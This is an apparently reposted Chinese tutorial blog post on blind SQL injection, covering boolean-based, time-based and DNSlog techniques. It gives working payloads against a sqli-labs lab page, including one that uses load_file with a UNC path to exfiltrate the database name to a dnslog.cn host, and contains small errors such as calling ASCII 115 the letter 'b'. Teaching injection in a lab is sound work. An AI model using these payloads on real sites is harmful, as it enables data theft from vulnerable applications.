当前位置: 首页 > news >正文

SQL注入---盲注

文章目录

  • 目录

    一.盲注概述

    布尔盲注:

    时间盲注: 


一.盲注概述

        注是一种SQL注入攻击的形式,在这种攻击中,攻击者向目标应用程序发送恶意注入代码,然后通过观察应用程序的响应来推断出数据库中的信息。与常规的SQL注入攻击不同的是,盲注攻击是页面不会将报错信息回显以及没有明显回显位的情况下,页面不直接返回任何有关数据库的具体错误信息,导致攻击者无法直接获得数据库中的数据。

盲注可以分为基于布尔逻辑的盲注和基于时间的盲注两种形式。

  • 基于布尔逻辑的盲注:攻击者通过在恶意注入代码中利用布尔逻辑运算符(如AND、OR)来判断条件是否为真,从而推断出数据库中的信息。例如,攻击者可以通过尝试不同的条件来逐位地猜测数据库中的某个字符。

  • 基于时间的盲注:攻击者在恶意注入代码中添加延时函数或sleep函数,通过观察应用程序是否延时来判断条件是否为真。例如,攻击者可以通过尝试不同的条件来判断数据库中某个字段的值是否满足条件,并通过延时函数来推断出正确的条件。

布尔盲注:

使用布尔盲注的页面通常只有两种页面效果即正确页面和错误页面。

正确页面:SQL语句能够被执行显示的页面,如下图

http://192.168.100.10/sql/Less-8/index.php?id=1

错误页面: SQL语句不能够被执行显示的页面,如下图

http://192.168.100.10/sql/Less-8/index.php?id=1'

     无论正确页面或错误页面都无法直接回显数据,那么在这种情况下如何通过sql注入获取信息?

     我们可以利用SQL语句被执行返回正确页面,SQL语句不能被正确执行返回错误页面来帮助我们判断我们输入的SQL语句是否正确,从而判断我们想要的信息是否属于该数据库。     

 演示案例:

http://192.168.100.10/sql/Less-8/index.php?id=1' and ascii('e')=101--+注:ascii()函数可以将查询的内容转化为ascii码数字,字母e对应的数字是101SQL语句分析:利用页面回显正确和错误的特性,若字母e对应的ascii码=101.则返回正确页面

 通过上述案例,可以了解如何利用数据库帮助我们判断查询的信息是否正确,因此可以利用这一漏洞插入SQL语句来查询我们想要的信息

演示案例:

想要知晓当前页面查询的数据库名,可以通过ascii码值倒推出该数据库名,例如:ascii('e')=101 中 页面显示为正确页面则代表数据库名中包含字母e;显而易见,我们同样可以利用该数据库名是否在某一特定的区间内来判断当前页面查询的数据库名。案例如下:若该查询数据的acsii在大于100 小于102.则代表查询出的数据是字母e

http://192.168.100.10/sql/Less-8/index.php?id=1' and ascii(substr((select database()),2,1))=101--+注:ascii()函数默认转译查询到数据的第一个字母且最大显示32位数据substr((sql语句),2,1) 从第二个字符开始显示,每次显示一个字符SQL语句分析:上述页面执行为正确页面说明。查询出的数据库名中的第二个字符是e#查询数据库名中的第一个字母
http://192.168.100.10/sql/Less-8/index.php?id=1' and ascii(substr((select database()),1,1))>101--+注:执行成功代表库名第一个字母ascii码大于101http://192.168.100.10/sql/Less-8/index.php?id=1' and ascii(substr((select database()),1,1))>114--+注:执行成功代表库名第一个字母ascii码大于114http://192.168.100.10/sql/Less-8/index.php?id=1' and ascii(substr((select database()),1,1))>116--+注:执行成功代表库名第一个字母ascii码小于116因此通过不断的迭代缩小ascii码范围可确定库名第一个字母ascii码大于114小于116,最终确定库名首字母ascii码是115 即字母b

时间盲注: 

当页面没有报错回显,回显位,真假页面时,可以通过应用程序是否延迟来判断恶意SQL语句是否执行成功。

http://192.168.100.10/sql/Less-8/index.php?id=1' and if(ascii(substr((select database()),2,1))=101,sleep(1),sleep(3))--+注:sleep()延迟函数使程序延迟执行if(SQL语句,sleep(1),sleep(3)):SQL语句执行成功程序延迟1秒执行,未成功延迟3秒执行

DNSlog盲注 

        布尔盲注和时间盲注的缺点需要大量的迭代查询,而DNSlog盲注则可以一步到位直接回显出我们需要的信息;

         DNSlog可以拆开分为 DNS+log=域名解析+日志;DNS域名服务器/DNS日志服务器会将请求解析的域名记录在日志中,DNS日志和sql注入又有什么联系?有没有一种办法可以使安装数据库的服务器向DNS服务器请求域名解析?当服务器请求DNS解析域名的时候,我们可不可以在域名中插入恶意的SQL语句呢,这样我们需要解析的域名就会被显示到DNS日志服务器上?

为了完成上述目标我们需要了解以下内容:

确保数据库有读写权限

load_file()函数:

        用于从文件系统中读取文件内容并将其作为字符串返回到 SQL 查询结果中

UNC路径:

\\IP(域名)\share\path\fileIP:需要访问的主机IP
share:表示共享资源的名称。
path:表示共享资源中的路径(可选)。
file:表示具体的文件名(可选)。

        UNC路径是用于标识网络共享资源的一种命名约定UNC路径可以在本地文件系统中的路径上直接使用,以方便访问网络共享资源。

DNSlog注入中我们可以在注入时使用load_file(UNC路径)指示数据库去访问该路径下的内容并在访问的同时触发UNC路径去请求DNS服务器解析域名,而我们可以在需要解析的域名中插入SQL语句,案例如下:

id=1' and (select load_file(concat("//",(selectdatabase())."ryw4a6.dnslog.cn/benben.txt"))) --+

 执行上述SQL注入语句后,DNS日志服务器中就可以查询到刚刚请求解析的域名,而secyrty就是我们想要知道的数据库名(下述DNS日志服务器可以记录以ryw4a6.dnslog.cn结尾的域名请求记录)


总结

http://www.lryc.cn/news/336455.html

相关文章:

  • PlanUML和Mermaid哪个好?
  • leetcode 343. 整数拆分
  • 【MATLAB源码-第180期】基于matlab的PTS,SLM,CPFilter三种降低OFDM系统的PAPR仿真。
  • 学透Spring Boot — 004. Spring Boot Starter机制和自动配置机制
  • 面试算法-170-二叉树的最大深度
  • 【数据结构】哈希
  • Kubernetes(k8s)监控与报警(qq邮箱+钉钉):Prometheus + Grafana + Alertmanager(超详细)
  • STM32-04基于HAL库(CubeMX+MDK+Proteus)中断案例(按键中断扫描)
  • 第十五篇:Mybatis
  • 【MacBook系统homebrew镜像记录】
  • 深拷贝总结
  • RabbitMQ在云原生环境中部署和应用实践
  • flask 后端 + 微信小程序和网页两种前端:调用硬件(相机和录音)和上传至服务器
  • 蓝桥杯嵌入式(G431)备赛笔记——ADC+LCD
  • 最近公共祖先(LCA)
  • ABBYY FineReader15免费电脑OCR图片文字识别软件
  • 2024年第十七届 认证杯 网络挑战赛 (A题)| 保暖纤维的保暖能力 |数学建模完整代码+建模过程全解全析
  • 算法训练营第37天|LeetCode 738.单调递增的数字 968.监控二叉树
  • Vue+el-table 修改表格 单元格横线边框颜色及表格空数据时边框颜色
  • 大恒相机-程序异常退出后显示被占用
  • 头歌-机器学习 第16次实验 EM算法
  • 电脑启动引导的两种方式
  • 用php编写网站源码的一些经验
  • 海山数据库(He3DB)原理剖析:浅析OLAP数据库计算引擎中的统计信息
  • 视频图像的两种表示方式YUV与RGB(4)
  • PostgreSQL入门到实战-第十四弹
  • 分布式数据库中间件 Mycat 和 ShardingSphere 对比
  • Python实现BOA蝴蝶优化算法优化BP神经网络回归模型(BP神经网络回归算法)项目实战
  • 3D Web轻量化引擎HOOPS Commuicator如何从整体装配中创建破碎的装配零件和XML?
  • 关于运行阿里云直播Demo pub get 报的错